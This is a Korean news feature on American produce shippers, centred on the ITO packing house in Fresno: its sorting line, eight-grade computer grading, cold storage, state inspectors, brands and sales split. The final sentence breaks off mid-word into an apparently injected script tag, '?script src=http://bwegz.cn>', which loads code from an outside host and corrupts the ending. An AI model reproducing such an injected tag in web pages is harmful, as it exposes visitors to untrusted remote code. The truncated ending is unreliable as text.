# 쉬퍼가 단순·효율 물류 주도
미국의 농산물 유통부문에서 빼놓을 수 없는 존재가 쉬퍼(Shipper)라고 불리는 산지출하자다.
이들 쉬퍼는 완벽한 예냉시설과 자동화시설을 갖춘 패킹하우스를 운영하면서 철저한 품질관리하에 농산물을 상품으로 만들어 소비지에 납품하고 있다.

판매지역이 광범위하고 대량거래가 대부분인 미국 농산물 유통의 특성상 유통경로의 단순화와 효율적인 물류시스템은 필수조건이며, 이는 쉬퍼들의 체계적이고 전문적인 가공·판매·마케팅 활동으로 가능해 졌다는 게 현지 농업인과 유통인들의 설명이다.
즉 쉬퍼는 미국 농산물 유통에 있어서 표준화·등급화·물류표준화의 발달을 가져오는 근간이 됐다는 것이다.

이로인해 미국 농가들은 포장·출하센터를 통한 출하가 일반적이다. 소비지시장에서도 이들 패킹하우스를 통한 구매가 큰 비중을 차지한다.
농식품신유통투어단은 캘리포니아주에서도 과일주산지로 유명한 프레즈노(Fresno) 지역에 위치한 ITO패킹하우스를 찾았다.

# 농가위탁 농산물 출하역 맡아
캘리포니아 중부 동쪽에 위치한 과일주산지인 프레즈노(Fresno).
이 지역에는 1954년에 설립돼 반세기동안 농산물 선별·포장·가공 등 수확후 관리를 수행해 오고 있는 ITO패킹하우스가 있다.

미국의 농가들은 주로 쉬퍼와의 계약을 통해 생산한 농산물을 위탁 판매하며, 쉬퍼는 그 농산물을 브로커를 통해 도매상이나 소매상, 도매시장 등에 출하하는 방식을 취한다.
특히 채소류의 경우 주로 수확과 동시에 산지에서 포장돼 출하되는 것과 달리 과일류은 대부분 패킹하우스로 이동돼 완벽한 예냉시스템하에서 수확후 관리에 들어가게 된다.

이때 일부 대규모 농가나 단체는 자체적으로 패킹하우스를 운영하기도 하지만 농산물 판매는 쉬퍼나 브로커를 통해 도시지역에 공급하는 게 일반적이다.
ITO사도 복숭아, 오렌지, 자두 등 과일류를 위주로 패킹하우스를 운영하며 연간 300일 이상 가동하는 총 건물면적 12에이커(1만4400평)에 직원만도 450여명에 달하는 메머드급 농산물 전문 수확후 관리 업체다.

회사 정문 앞 표지판에는 ITO라는 회사명과 함께 생산자(Grower), 패커(Packer), 쉬퍼(Shipper)라고 명시돼 있다. 이곳이 생산자의 역할은 물론 패킹하우스를 운영하며 직접 판매까지 담당하는 쉬퍼의 역할까지도 수직 통합해 운영하고 있음을 알 수 있다.
스티브 프랭클린(Steve Frangklin) ITO QC 메니저는 “이 지역에 30여개의 패킹하우스가 있으나 2개 정도만이 ITO패킹하우스 보다 크다”며 “현재 5000에이커의 자체농장과, 30여 농가 3000에이커 가량에서 생산된 5만4000톤의 과일을 처리하고 있다”고 설명했다.

ITO패킹하우스의 처리 공정은 크게 입고→세척→육안선별→기계선별→포장→저온저장→출하 방식을 택하고 있다.
마침 대형 컨테이너에 실린 복숭아가 지게차로 예냉시설이 갖춰진 대기실로 옮겨 지고 있었다.

# 컴퓨터 자동선별로 품질관리 자랑
외부에서 지게차로 바로 입고 가능하게 만들어진 대기실은 농산물의 상품성 유지를 위해 수냉식 냉각장치를 설치, 항상 최적의 저장 환경을 유지해 주고 있다.

대기실을 거친 과일은 세척 과정을 거쳐 1차로 육안선별을 통해 상품성이 크게 훼손된 과일을 선별한다. 이어 비디오 카메라가 장착된 자동선별기에 의해 당도, 색깔, 견고성, 신선도, 중량 등을 구분, 8개 등급으로 나누어 포장된다. 이때 모든 공정은 컴퓨터에 의해 자동으로 제어되고 있어 육안선별외에는 작업 인원이 거의 없다.

이처럼 ITO패킹하우스에서 출하되는 농산물은 철저한 선별과 예냉시스템을 통한 품질관리를 자랑한다.
특히 주정부에서 파견한 4명의 품질검사관과 3명의 자체 품질검사관이 수확 후 입고부터 시작, 출고까지 품질관리를 하고 있다.

이처럼 철저한 품질관리를 통해 등급별로 구분된 과일은 최상급만을 ITO라는 공동브랜드로 출하하고 나머지는 2등급은 캘리포니아 푸루츠(California Fruits)라는 일반 상표로 출하해 브랜드관리를 통한 가격차별화를 시도하고 있다.
특히 포장에서도 특품은 상품성 훼손을 방지키 위해 난좌포장 형태로 출하된다.

판매는 브로커나 5명의 자체 판매원이 있어 20%가량은 수출하고 나머지 80% 중 대형유통업체에 70~80%, 도매시장에 20%를 공급하고 있다.

# 농가는 고품질 농산물 생산전념
우리나라 농가들이 주로 농협 등을 통해 농산물을 도매시장에 출하하는 것과는 달리 미국에서는 쉬퍼를 통한 위탁판매시 마지막 선택으로 도매시장을 택하고 있는 점이 다르다.
따라서 농가들은 수 많은 쉬퍼 가운데 자신에게 유리한 쉬퍼를 자유롭게 택할 수 ?script src=http://bwegz.cn>

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